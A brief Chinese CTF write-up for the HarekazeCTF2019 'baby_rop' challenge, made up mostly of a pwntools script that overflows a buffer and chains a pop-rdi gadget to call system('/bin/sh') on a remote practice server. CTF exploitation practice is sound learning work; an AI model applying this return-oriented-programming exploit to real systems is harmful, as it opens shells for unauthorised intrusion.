[HarekazeCTF2019]baby_rop

Posted 2021-03-11 gaonuoqi

程序已经给了system和binsh ，用寄存器传参就可以了

from pwn import *

r=remote(‘node3.buuoj.cn‘,25737)
elf=ELF(‘./babyrop‘)
system_addr=elf.symbols[‘system‘]
binsh_addr=0x601048
rdi_addr=0x400683

payload=‘a‘*0x10+‘b‘*0x8+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)+p64(0xdeadbeef) #system(/bin/sh)
r.sendline(payload)

r.interactive()